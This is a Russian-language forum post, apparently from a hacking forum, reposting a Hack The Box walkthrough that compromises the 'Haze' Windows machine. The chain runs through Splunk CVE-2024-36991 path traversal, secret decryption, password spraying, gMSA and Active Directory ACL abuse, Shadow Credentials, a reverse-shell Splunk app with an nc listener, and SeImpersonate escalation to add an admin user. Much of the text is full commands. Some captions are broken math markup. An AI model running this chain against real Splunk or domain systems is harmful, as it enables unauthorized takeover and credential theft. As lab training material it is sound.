• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Атакуем мониторинг Splunk, чтобы захватить сервер на Windows

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,167
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня мы проэксплуатируем уязвимость в мониторинговой системе Splunk, чтобы получить учетные данные. Затем для компрометации нескольких учетных записей проэксплуатируем разрешения, а для повышения привилегий скомпрометируем админскую учетку Splunk и добавим свой модуль для установления привилегированной сессии.
Наша цель — получение прав суперпользователя на машине Haze с учебной площадки Hack The Box. Уровень задания — сложный.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.61 haze.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел 14 открытых портов:

  • 88 — Kerberos;
  • 135 — Microsoft RPC;
  • 139 — NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5985 — служба удаленного управления WinRM;
  • порты 8000, 8088, 8089 — система Splunk.
Начнем, конечно же, с просмотра Splunk.

Страница авторизации Splunk
Страница авторизации Splunk
Страница сервиса Splunkd
Страница сервиса Splunkd

Точка входа​

На втором сайте нам открывается версия Splunk — 9.2.1. Сразу стоит проверить, есть ли для нее готовые эксплоиты. Первым делом просто ищем в Google.

Поиск эксплоитов в Google
Поиск эксплоитов в Google

И находим Для просмотра ссылки Войди или Зарегистрируйся в блоге SonicWall, где подробно разбирается уязвимость Для просмотра ссылки Войди или Зарегистрируйся. Она позволяет обходить пути с эндпоинта /modules/messaging/ и читать произвольные файлы. По номеру CVE находим и рабочий Для просмотра ссылки Войди или Зарегистрируйся на GitHub. Он позволяет получать учетные данные из базы данных.

python3 CVE-2024-36991.py -u [URL]http://10.10.11.61:8000[/URL]
Проверка уязвимости
Проверка уязвимости

Точка опоры​

У нас есть возможность читать файлы, поэтому прикинем, что может быть интересного. Я не стал заморачиваться и спросил у ChatGPT, какие конфиги Splunk могут оказаться полезны, а также что в них содержится.

Для просмотра ссылки Войди или Зарегистрируйся
Интересные файлы Splunk
Интересные файлы Splunk

В файле server.conf находим зашифрованные технические пароли, а в authentication.conf есть доменные учетные данные пользователя Paul Taylor для связи с LDAP.

curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/server.conf'
Содержимое файла server.conf
Содержимое файла server.conf

curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/authentication.conf'
Содержимое файла authentication.conf
Содержимое файла authentication.conf

Чтобы расшифровать пароли, нам нужен ключ из файла auth/splunk.secret.

curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret'
Содержимое файла splunk.secret
Содержимое файла splunk.secret

Когда у нас есть ключ, мы можем использовать скрипт Для просмотра ссылки Войди или Зарегистрируйся для расшифровывания паролей. При запуске указываем файл splunk.secret, после чего вводим зашифрованные данные и получаем пароль в открытом виде.

Код:
pip install splunksecrets
splunksecrets splunk-decrypt -S splunk.secret

Расшифровывание пароля
Расшифровывание пароля

У нас есть пароль, но нет логина. По имени пользователя можно составить список всех возможных вариантов учетной записи. Для этого используем следующий скрипт.

Код:
names = ["Paul Taylor"]
list = []
for name in names:
    n1, n2 = name.split(' ')
    list.append(n1)
    list.append(n1+n2)
    list.append(n1+"."+n2)
    list.append(n1+"-"+n2)
    list.append(n1+"_"+n2)
    list.append(n1+n2[0])
    list.append(n1+"."+n2[0])
    list.append(n1+"-"+n2[0])
    list.append(n1+"_"+n2[0])
    list.append(n2[0]+n1)
    list.append(n2[0]+"."+n1)
    list.append(n2[0]+"-"+n1)
    list.append(n2[0]+"_"+n1)
    list.append(n2)
    list.append(n2+n1)
    list.append(n2+"."+n1)
    list.append(n2+"-"+n1)
    list.append(n2+"_"+n1)
    list.append(n2+n1[0])
    list.append(n2+"."+n1[0])
    list.append(n2+"-"+n1[0])
    list.append(n2+"_"+n1[0])
    list.append(n1[0]+n2)
    list.append(n1[0]+"."+n2)
    list.append(n1[0]+"-"+n2)
    list.append(n1[0]+"_"+n2)

for n in list:
    print

Затем перебираем логины с помощью Для просмотра ссылки Войди или Зарегистрируйся и получаем учетную запись в нужном формате.

nxc smb 10.10.11.61 -u taylor_users.txt -p 'Ld@p_Auth_Sp1unk@2k24'
Результат подбора учетных данных
Результат подбора учетных данных

Теперь мы можем перебрать RID объектов домена и тем самым получить имена групп и пользователей домена. Для этого используем параметр --rid-brute.

nxc smb 10.10.11.61 -u 'Paul.Taylor' -p 'Ld@p_Auth_Sp1unk@2k24' --rid-brute
Объекты домена
Объекты домена

Сохраняем пользователей домена в отдельный файл и проверяем, не подойдет ли имеющийся у нас пароль еще к какой‑нибудь учетной записи. Так мы скомпрометируем учетную запись mark.adams.

nxc smb 10.10.11.61 -u users.txt -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-success
Результат подбора учетных данных
Результат подбора учетных данных

NetExec позволяет проверить, имеет ли пользователь возможность получить сессию через WinRM.

nxc winrm 10.10.11.61 -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24'
Результат проверки учетной записи
Результат проверки учетной записи

Для получения сессии через WinRM воспользуемся утилитой Для просмотра ссылки Войди или Зарегистрируйся.

evil-winrm -i 10.10.11.61 -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24'
Сессия пользователя mark.adams
Сессия пользователя mark.adams

Продвижение​

В рабочем окружении пользователя ничего интересного не находим, поэтому соберем базу BloodHound.

Справка: BloodHound​

Утилита Для просмотра ссылки Войди или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки.
Для сбора базы BloodHound будем использовать Для просмотра ссылки Войди или Зарегистрируйся. Скомпилируем версию для Windows, загрузим на удаленный хост и запустим сканирование.

.\RustHound-CE.exe -d haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' -c All -z
Данные получаем очень быстро. Скачиваем итоговый архив и строим граф от пользователя MARK.ADAMS.

Граф BloodHound
Граф BloodHound

Пользователь MARK.ADAMS состоит в группе GMSA_MANAGERS. Эта группа должна давать нам право управления gMSA. Но так как больше никаких связей BloodHound не отобразил, проверим разрешения записи в атрибуты более углубленно с помощью Для просмотра ссылки Войди или Зарегистрируйся.

bloodyAD -d haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' --host 10.10.11.61 get writable --right WRITE --detail
Для просмотра ссылки Войди или Зарегистрируйся
Таким образом, пользователь MARK.ADAMS имеет право записи в атрибут msDS-GroupMSAMembership объекта Haze-IT-Backup. Этот атрибут содержит список SID в формате SDDL, для которых разрешено использование учетных записей gMSA. Так как у нас есть право записи, пропишем в этом атрибуте учетку mark.adams.

Set-ADServiceAccount -Identity "Haze-IT-Backup$" -PrincipalsAllowedToRetrieveManagedPassword mark.adams

Справка: управляемые учетные записи Active Directory​

Управляемые учетные записи (MSA) — это специальный тип учетных записей Active Directory, которые можно использовать для безопасного запуска служб, приложений и заданий планировщика.
Основная идея MSA в том, что паролем полностью управляет Active Directory. Для таких учеток автоматически генерируется сложный пароль длиной 240 символов, который меняется автоматически каждые 30 дней. Для аутентификации используется только Kerberos, так как интерактивный вход невозможен. Это связано с тем, что пароль не известен никому и не хранится в локальной системе, поэтому его нельзя извлечь из системного процесса LSASS с помощью Mimikatz.
Но и такими учетными записями нужно как‑то управлять, а это значит, что, если у нас есть к ним доступ, мы можем получить хеш пароля.
Извлечем из MSA хеш пароля при помощи NetExec.

nxc ldap 10.10.11.61 -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa
Получение хеша учетной записи Haze-IT-Backup<span class=katex><span class=katex-mathml><math xmlns=http://www.w3.org/1998/Math/MathML><semantics><mrow><msup><mrow></mrow><mo mathvariant=normal lspace=0em rspace=0em>′</mo></msup><mi>t</mi><mi>i</mi><mi>t</mi><mi>l</mi><mi>e</mi><msup><mo>=</mo><mo mathvariant=normal lspace=0em rspace=0em>′</mo></msup><mtext>Получениехешаучетнойзаписи</mtext><mi>H</mi><mi>a</mi><mi>z</mi><mi>e</mi><mo>−</mo><mi>I</mi><mi>T</mi><mo>−</mo><mi>B</mi><mi>a</mi><mi>c</mi><mi>k</mi><mi>u</mi><mi>p</mi></mrow><annotation encoding=application/x-tex>' title='Получение хеша учетной записи Haze-IT-Backup</annotation></semantics></math></span><span class=katex-html aria-hidden=true><span class=base><span class=strut style=height:0.7519em;></span><span class=mord><span></span><span class=msupsub><span class=vlist-t><span class=vlist-r><span class=vlist style=height:0.7519em;><span style=top:-3.063em;margin-right:0.05em;><span class=pstrut style=height:2.7em;></span><span class=sizing reset-size6 size3 mtight><span class=mord mtight><span class=mord mtight>′</span></span></span></span></span></span></span></span></span><span class=mord mathnormal>t</span><span class=mord mathnormal>i</span><span class=mord mathnormal style=margin-right:0.01968em;>tl</span><span class=mord mathnormal>e</span><span class=mspace style=margin-right:0.2778em;></span><span class=mrel><span class=mrel>=</span><span class=msupsub><span class=vlist-t><span class=vlist-r><span class=vlist style=height:0.7519em;><span style=top:-3.063em;margin-right:0.05em;><span class=pstrut style=height:2.7em;></span><span class=sizing reset-size6 size3 mtight><span class=mord mtight><span class=mord mtight>′</span></span></span></span></span></span></span></span></span><span class=mspace style=margin-right:0.2778em;></span></span><span class=base><span class=strut style=height:0.8778em;vertical-align:-0.1944em;></span><span class=mord cyrillic_fallback>Получениехешаучетнойзаписи</span><span class=mord mathnormal style=margin-right:0.08125em;>H</span><span class=mord mathnormal>a</span><span class=mord mathnormal>ze</span><span class=mspace style=margin-right:0.2222em;></span><span class=mbin>−</span><span class=mspace style=margin-right:0.2222em;></span></span><span class=base><span class=strut style=height:0.7667em;vertical-align:-0.0833em;></span><span class=mord mathnormal style=margin-right:0.07847em;>I</span><span class=mord mathnormal style=margin-right:0.13889em;>T</span><span class=mspace style=margin-right:0.2222em;></span><span class=mbin>−</span><span class=mspace style=margin-right:0.2222em;></span></span><span class=base><span class=strut style=height:0.8889em;vertical-align:-0.1944em;></span><span class=mord mathnormal style=margin-right:0.05017em;>B</span><span class=mord mathnormal>a</span><span class=mord mathnormal>c</span><span class=mord mathnormal style=margin-right:0.03148em;>k</span><span class=mord mathnormal>u</span><span class=mord mathnormal>p</span></span></span></span>
Получение хеша учетной записи Haze-IT-Backup$

Мы скомпрометировали еще одну учетную запись, проверим ее разрешения на другие объекты.

bloodyAD -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':a70df6599d5eab1502b38f9c1c3fd828' --host 10.10.11.61 get writable --right WRITE --detail
Разрешения для HAZE-IT-BACKUP<span class=katex><span class=katex-mathml><math xmlns=http://www.w3.org/1998/Math/MathML><semantics><mrow><msup><mrow></mrow><mo mathvariant=normal lspace=0em rspace=0em>′</mo></msup><mi>t</mi><mi>i</mi><mi>t</mi><mi>l</mi><mi>e</mi><msup><mo>=</mo><mo mathvariant=normal lspace=0em rspace=0em>′</mo></msup><mtext>Разрешениядля</mtext><mi>H</mi><mi>A</mi><mi>Z</mi><mi>E</mi><mo>−</mo><mi>I</mi><mi>T</mi><mo>−</mo><mi>B</mi><mi>A</mi><mi>C</mi><mi>K</mi><mi>U</mi><mi>P</mi></mrow><annotation encoding=application/x-tex>' title='Разрешения для HAZE-IT-BACKUP</annotation></semantics></math></span><span class=katex-html aria-hidden=true><span class=base><span class=strut style=height:0.7519em;></span><span class=mord><span></span><span class=msupsub><span class=vlist-t><span class=vlist-r><span class=vlist style=height:0.7519em;><span style=top:-3.063em;margin-right:0.05em;><span class=pstrut style=height:2.7em;></span><span class=sizing reset-size6 size3 mtight><span class=mord mtight><span class=mord mtight>′</span></span></span></span></span></span></span></span></span><span class=mord mathnormal>t</span><span class=mord mathnormal>i</span><span class=mord mathnormal style=margin-right:0.01968em;>tl</span><span class=mord mathnormal>e</span><span class=mspace style=margin-right:0.2778em;></span><span class=mrel><span class=mrel>=</span><span class=msupsub><span class=vlist-t><span class=vlist-r><span class=vlist style=height:0.7519em;><span style=top:-3.063em;margin-right:0.05em;><span class=pstrut style=height:2.7em;></span><span class=sizing reset-size6 size3 mtight><span class=mord mtight><span class=mord mtight>′</span></span></span></span></span></span></span></span></span><span class=mspace style=margin-right:0.2778em;></span></span><span class=base><span class=strut style=height:0.8778em;vertical-align:-0.1944em;></span><span class=mord cyrillic_fallback>Разрешениядля</span><span class=mord mathnormal style=margin-right:0.08125em;>H</span><span class=mord mathnormal>A</span><span class=mord mathnormal style=margin-right:0.05764em;>ZE</span><span class=mspace style=margin-right:0.2222em;></span><span class=mbin>−</span><span class=mspace style=margin-right:0.2222em;></span></span><span class=base><span class=strut style=height:0.7667em;vertical-align:-0.0833em;></span><span class=mord mathnormal style=margin-right:0.07847em;>I</span><span class=mord mathnormal style=margin-right:0.13889em;>T</span><span class=mspace style=margin-right:0.2222em;></span><span class=mbin>−</span><span class=mspace style=margin-right:0.2222em;></span></span><span class=base><span class=strut style=height:0.6833em;></span><span class=mord mathnormal style=margin-right:0.05017em;>B</span><span class=mord mathnormal>A</span><span class=mord mathnormal style=margin-right:0.07153em;>C</span><span class=mord mathnormal style=margin-right:0.07153em;>K</span><span class=mord mathnormal style=margin-right:0.10903em;>U</span><span class=mord mathnormal style=margin-right:0.13889em;>P</span></span></span></span>
Разрешения для HAZE-IT-BACKUP$

Как видишь, учетная запись HAZE-IT-BACKUP$ может переписать владельца группы Support_Services. Сделаем себя владельцем группы.

bloodyAD -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':a70df6599d5eab1502b38f9c1c3fd828' --host 10.10.11.61 set owner 'SUPPORT_SERVICES' 'Haze-IT-Backup$'
Результат выполнения команды
Результат выполнения команды

Владелец объекта AD может назначать разрешения на объект, поэтому выдаем себе полный контроль над группой Support_Services.

bloodyAD -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':a70df6599d5eab1502b38f9c1c3fd828' --host 10.10.11.61 add genericAll 'SUPPORT_SERVICES' 'Haze-IT-Backup$'
Результат выполнения команды
Результат выполнения команды

Теперь, когда у нас есть полный доступ к группе, сделаем себя ее членом.

bloodyAD -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':a70df6599d5eab1502b38f9c1c3fd828' --host 10.10.11.61 add groupMember 'SUPPORT_SERVICES' 'Haze-IT-Backup$'
Результат выполнения команды
Результат выполнения команды

После добавления учетной записи HAZE-IT-BACKUP$ в группу Support_Services снова просканируем разрешения записи в атрибуты объектов AD.

bloodyAD -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':a70df6599d5eab1502b38f9c1c3fd828' --host 10.10.11.61 get writable --right WRITE --detail
Разрешения для HAZE-IT-BACKUP<span class=katex><span class=katex-mathml><math xmlns=http://www.w3.org/1998/Math/MathML><semantics><mrow><msup><mrow></mrow><mo mathvariant=normal lspace=0em rspace=0em>′</mo></msup><mi>t</mi><mi>i</mi><mi>t</mi><mi>l</mi><mi>e</mi><msup><mo>=</mo><mo mathvariant=normal lspace=0em rspace=0em>′</mo></msup><mtext>Разрешениядля</mtext><mi>H</mi><mi>A</mi><mi>Z</mi><mi>E</mi><mo>−</mo><mi>I</mi><mi>T</mi><mo>−</mo><mi>B</mi><mi>A</mi><mi>C</mi><mi>K</mi><mi>U</mi><mi>P</mi></mrow><annotation encoding=application/x-tex>' title='Разрешения для HAZE-IT-BACKUP</annotation></semantics></math></span><span class=katex-html aria-hidden=true><span class=base><span class=strut style=height:0.7519em;></span><span class=mord><span></span><span class=msupsub><span class=vlist-t><span class=vlist-r><span class=vlist style=height:0.7519em;><span style=top:-3.063em;margin-right:0.05em;><span class=pstrut style=height:2.7em;></span><span class=sizing reset-size6 size3 mtight><span class=mord mtight><span class=mord mtight>′</span></span></span></span></span></span></span></span></span><span class=mord mathnormal>t</span><span class=mord mathnormal>i</span><span class=mord mathnormal style=margin-right:0.01968em;>tl</span><span class=mord mathnormal>e</span><span class=mspace style=margin-right:0.2778em;></span><span class=mrel><span class=mrel>=</span><span class=msupsub><span class=vlist-t><span class=vlist-r><span class=vlist style=height:0.7519em;><span style=top:-3.063em;margin-right:0.05em;><span class=pstrut style=height:2.7em;></span><span class=sizing reset-size6 size3 mtight><span class=mord mtight><span class=mord mtight>′</span></span></span></span></span></span></span></span></span><span class=mspace style=margin-right:0.2778em;></span></span><span class=base><span class=strut style=height:0.8778em;vertical-align:-0.1944em;></span><span class=mord cyrillic_fallback>Разрешениядля</span><span class=mord mathnormal style=margin-right:0.08125em;>H</span><span class=mord mathnormal>A</span><span class=mord mathnormal style=margin-right:0.05764em;>ZE</span><span class=mspace style=margin-right:0.2222em;></span><span class=mbin>−</span><span class=mspace style=margin-right:0.2222em;></span></span><span class=base><span class=strut style=height:0.7667em;vertical-align:-0.0833em;></span><span class=mord mathnormal style=margin-right:0.07847em;>I</span><span class=mord mathnormal style=margin-right:0.13889em;>T</span><span class=mspace style=margin-right:0.2222em;></span><span class=mbin>−</span><span class=mspace style=margin-right:0.2222em;></span></span><span class=base><span class=strut style=height:0.6833em;></span><span class=mord mathnormal style=margin-right:0.05017em;>B</span><span class=mord mathnormal>A</span><span class=mord mathnormal style=margin-right:0.07153em;>C</span><span class=mord mathnormal style=margin-right:0.07153em;>K</span><span class=mord mathnormal style=margin-right:0.10903em;>U</span><span class=mord mathnormal style=margin-right:0.13889em;>P</span></span></span></span>
Разрешения для HAZE-IT-BACKUP$

Теперь пользователь HAZE-IT-BACKUP$ имеет право записи в атрибут msDS-KeyCredentialLink объекта Edward.Martin, а значит, мы можем провести атаку Shadow Credentials.

Справка: Shadow Credentials​

Техника Shadow Credentials позволяет атакующему завладеть учетной записью пользователя или компьютера, если получится изменить атрибут msDS-KeyCredentialLink целевого объекта и добавить к нему альтернативные учетные данные, такие как сертификат. Затем по сертификату мы получим его билет TGT, из которого извлечем NTLM-хеш пароля пользователя. Это все происходит автоматически в команде certipy shadow. Но предварительно синхронизируем время с сервером.
faketime -f "+8h" certipy shadow auto -u 'HAZE-IT-BACKUP$@haze.htb' -hashes ':a70df6599d5eab1502b38f9c1c3fd828' -dc-ip 10.10.11.61 -account Edward.Martin
Эксплуатация Shadow Credentials
Эксплуатация Shadow Credentials

Получаем хеш пароля учетной записи, авторизуемся в службе WinRM и читаем первый флаг.

evil-winrm -i 10.10.11.61 -u edward.martin -H 09e0b3eeb2e7a6b0d419e9ff8f4d91af
Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Просматриваем информацию о пользователе и видим, что он входит в группу Backup_Reviewers.

whoami /all
Информация о пользователе
Информация о пользователе

Проверяем каталоги на диске и находим каталог Backups. Внутри — резервная копия сервиса Splunk, которую скачиваем на свою машину через Evil-WinRM.

Содержимое каталога Backups
Содержимое каталога Backups
Загрузка резервной копии
Загрузка резервной копии

Распакуем архив и найдем в нем зашифрованные пароли по сигнатуре «доллар‑единица‑доллар».

Поиск паролей
Поиск паролей

Найденный пароль расшифровываем с помощью секрета Splunk/etc/auth/splunk.secret.

splunksecrets splunk-decrypt -S Splunk/etc/auth/splunk.secret
Расшифровка пароля
Расшифровка пароля

Пароль никуда в домене не подошел, зато мы можем авторизоваться как Administrator сервиса Splunk.

Панель администратора Splunk
Панель администратора Splunk

Администратор Splunk может установить в сервисе свое приложение, а это дает нам возможность выполнять произвольный код от имени учетной записи. В качестве шаблона приложения воспользуемся Для просмотра ссылки Войди или Зарегистрируйся, где уже прописан реверс‑шелл для Windows- и Unix-систем. Первым делом откроем файл run.ps1 и вставим свои данные для подключения.

Содержимое файла run.ps1
Содержимое файла run.ps1

Теперь заархивируем каталог приложения и сохраним в формате spl.

Код:
tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunk
mv reverse_shell_splunk.tgz reverse_shell_splunk.spl
Когда все готово, на указанном порте запустим листенер:

rlwrap nc -nlvp 4321
Теперь перейдем на страницу Install app from file и загрузим наш архив.

Страница приложений
Страница приложений
Загрузка файла
Загрузка файла

Вскоре в листенере увидим входящее соединение от имени alexander.green.

Сессия пользователя alexander.green
Сессия пользователя alexander.green

System​

Внимание привлекают привилегии текущего пользователя. У юзера включена привилегия SeImpersonatePrivilege (право «Олицетворять клиента после проверки подлинности»). Как говорит Microsoft:

Присвоение пользователю права «Олицетворять клиента после проверки подлинности» разрешает программам, запущенным от имени данного пользователя, олицетворять клиента. Использование данного параметра предотвращает олицетворение неавторизованными серверами клиентов, подключающихся к этим серверам с помощью процедур RPC или именованных каналов.
Другими словами: эта привилегия позволяет имитировать любой токен, дескриптор которого мы сможем получить. Это явный вектор повышения привилегий! Воспользуемся Для просмотра ссылки Войди или Зарегистрируйся для создания своего пользователя.

gp.exe -cmd "cmd /c net user ralf Qwerty123 /add"
Результат выполнения команды
Результат выполнения команды

Как показывает команда net users, пользователь был создан, а значит, мы можем выполнять команды в привилегированном контексте. Добавим созданного пользователя в группу администраторов и получим сессию через WinRM.

Код:
.\gp.exe -cmd "cmd /c net localgroup Administrators ralf /add"
evil-winrm -i 10.10.11.61 -u ralf -p Qwerty123
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу